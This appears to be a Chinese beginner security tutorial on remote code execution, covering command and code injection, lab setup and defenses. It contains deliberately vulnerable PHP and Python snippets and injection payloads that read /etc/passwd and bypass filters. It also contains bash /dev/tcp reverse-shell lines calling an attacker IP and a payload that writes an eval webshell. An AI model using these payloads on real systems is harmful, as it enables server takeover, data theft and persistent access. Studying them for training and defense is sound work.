尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

如何从一名小白成为网安大神(第二十四天)

如何从一名小白成为网安大神(第二十四天)
📅 发布时间:2026/6/23 10:26:37

一、学习RCE 远程代码执行漏洞

(一)基础定义与核心区分

1. 什么是 RCE

RCE(Remote Code Execution,远程代码执行):攻击者通过可控输入,在目标服务器远程执行操作系统命令或服务端编程语言代码,属于最高危 0day 级漏洞,成功利用可完全接管服务器、窃取数据、横向渗透内网。

2. 两大核心分类(必须分清)

类型全称执行对象典型危险函数 (PHP 示例)漏洞成因
命令注入Remote Command ExecutionWindows/Linux 系统命令system()、shell_exec()、exec()、``反引号用户输入直接拼接系统 shell 命令
代码注入Remote Code Execution服务端编程语言 (PHP/Python/Java)eval()、assert()、create_function()用户输入被当作程序代码解释执行

简单记忆:

  • 命令注入:调用系统cmd/bash(ping、dir、ls)
  • 代码注入:调用语言解释器(phpinfo ()、os.popen ())

3. RCE 通用危害

  1. 读取服务器配置、数据库账号密码、源码
  2. 上传 Webshell 木马,持久控制网站
  3. 反弹 Shell,获得服务器交互式终端
  4. 内网扫描、端口探测、横向渗透其他主机
  5. 植入挖矿程序、勒索病毒、篡改页面数据

(二)命令注入(最易入门,优先学习)

1. 漏洞原理示例(PHP Ping 功能)

漏洞代码:

<?php $ip = $_GET['ip']; system("ping -c 4 ".$ip); // 直接拼接用户输入,无过滤 ?>

正常访问:http://xxx/?ip=8.8.8.8,执行ping -c 4 8.8.8.8

2. 命令分隔符(注入核心符号)

利用分隔符截断原有命令,拼接恶意命令:

符号适用系统作用攻击 Payload 示例
;Linux顺序执行两条命令?ip=127.0.0.1;whoami
&Windows/Linux后台并行执行?ip=127.0.0.1&dir
&&全平台前一条成功才执行后一条?ip=127.0.0.1&&cat /etc/passwd
|全平台前一条失败才执行后一条?ip=aaa|whoami
|Linux管道输出?ip=127.0.0.1|ls

3. 基础 Payload 合集

Linux 系统
  1. 查看当前用户:127.0.0.1;whoami
  2. 读取密码文件:127.0.0.1;cat /etc/passwd
  3. 查看目录文件:127.0.0.1;ls -l
  4. 反弹 Shell(最实用):
127.0.0.1;bash -i >& /dev/tcp/攻击机IP/4444 0>&1
Windows 系统
  1. 查看当前用户:127.0.0.1&whoami
  2. 列目录:127.0.0.1&dir
  3. 读取文件:127.0.0.1&type C:\windows\system32\drivers\etc\hosts

4. 过滤绕过技巧(实战高频)

  • 空格被过滤:%09(制表符)、${IFS}(Linux 环境变量空格)
  • cat被过滤:more、less、tac、nl替代
  • 关键字黑名单:大小写变形CaT、字符串拼接c""at

(三)代码注入漏洞(进阶 RCE)

1. PHP eval 漏洞示例

漏洞代码:

<?php $code = $_GET['cmd']; eval($code); // 直接执行用户输入为PHP代码 ?>

基础 Payload:

?cmd=phpinfo(); ?cmd=system('whoami'); ?cmd=fputs(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>'); // 写入木马

高危危险函数:eval、assert、create_function、include($user_input)

2. Python 代码注入

危险函数:exec()、eval()、os.system()漏洞示例:

import os user_input = request.args.get('cmd') eval(user_input)

Payload:__import__('os').popen('whoami').read()

3. 其他衍生 RCE 场景(高频考点)

  1. SSTI 服务端模板注入(Jinja2/Thymeleaf → RCE)
  2. 反序列化漏洞(Fastjson、Log4j2、Shiro、Struts2)
  3. 文件上传 + 解析漏洞(上传图片马配合包含漏洞执行代码)
  4. 第三方组件漏洞(Log4j2 JNDI 注入、Spring4Shell)

(四)本地靶场环境搭建(新手必做,合法复现)

方案 1:PHPStudy 快速复现命令注入(最简单)

  1. 安装 PHPStudy,新建rce.php写入漏洞代码
<?php $ip = $_GET['ip']; system("ping ".$ip); ?>
  1. 浏览器访问127.0.0.1/rce.php?ip=127.0.0.1;whoami,验证漏洞执行

方案 2:Vulhub Docker 靶场(完整漏洞库)

适合复现 Log4j2、Fastjson、Struts2 等框架 RCE

  1. 安装 Docker+docker-compose
  2. 拉取 vulhub 仓库,进入对应漏洞目录启动环境:
cd vulhub/fastjson/1.2.24-rce docker-compose up -d
  1. 访问靶机 IP 进行漏洞利用

方案 3:DVWA Web 靶场(入门首选)

内置 Command Injection(命令注入)关卡,分低 / 中 / 高难度,练习过滤绕过。


(五)实战利用流程(渗透标准步骤)

  1. 漏洞探测
    • 寻找可控参数:URL 参数、POST 表单、Cookie、HTTP 请求头
    • 测试分隔符:传入;whoami观察页面是否回显命令结果
  2. 信息收集
    • 执行whoami、id、uname -a判断系统、权限
    • 读取配置文件、网站源码路径
  3. 权限提升 / 持久化
    • 写入 Webshell 木马获取长期控制
    • 反弹交互式 Shell,完整操作服务器
  4. 内网横向
    • 扫描内网 IP、数据库、其他服务端口

反弹 Shell 完整操作(Kali 攻击机演示)

  1. Kali 监听端口:nc -lvnp 4444
  2. 目标 RCE 注入 Payload(Linux):
;bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
  1. 攻击机获得目标服务器完整终端

(六)RCE 漏洞防御方案(开发 / 运维双向)

1. 开发层核心防护(根本解决)

  1. 禁止使用危险函数
    • PHP:php.ini配置disable_functions = system,exec,eval,shell_exec
    • Python/Java:避免动态执行用户可控输入(eval、反射、反序列化)
  2. 输入白名单校验(拒绝黑名单)黑名单极易绕过,只允许业务合法输入(如 IP 仅允许数字 + 点)
  3. 安全转义函数(必须参数分离)
    • PHP:escapeshellarg()单独转义参数,不要拼接字符串错误写法:system("ping ".$ip)安全写法:system("ping", [$ip])或system("ping ".escapeshellarg($ip))
  4. 禁止模板引擎解析用户输入,关闭反序列化自动解析

2. 运维服务器防护

  1. 最小权限运行 Web 服务(禁止 root / 管理员启动网站)
  2. 及时更新第三方组件(Log4j、Fastjson、Spring、Struts)
  3. WAF 防火墙拦截命令分隔符、恶意函数关键字
  4. 日志监控命令执行行为,异常请求实时告警

核心防御口诀

永不信任用户输入,绝不把可控输入直接传入执行函数

相关新闻

  • 通义灵码Quest模式:AI结对编程的端到端任务闭环实践
  • 一文看懂fofa常用语法,告别混淆,精准打击!免责声明
  • 安卓300万行老工程AI知识库:三层索引+可迭代语义图谱

最新新闻

  • 每日一个开源项目(第138篇):OpenMontage - 把 AI 编程助手变成完整的视频制作团队
  • Childhood,23款童年卡牌游戏复刻
  • 从Copilot到Agent——我的开发工作流正在被颠覆的技术文章大纲
  • PortSwigger SQL注入LAB7 LAB8 LAB9
  • 隐性隐私泄露
  • 12.1.1 质量属性概念 (续) - 运行期质量属性

日新闻

  • Arduino-ESP32项目深度解析:解锁隐藏芯片支持与架构演进
  • 2026年 系统窗厂家/品牌推荐榜单:隔音系统窗+高端系统门窗的核心优势与选购指南 - 品牌发掘
  • NVBench:首个双语非言语发声语音合成评测基准详解与实践

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号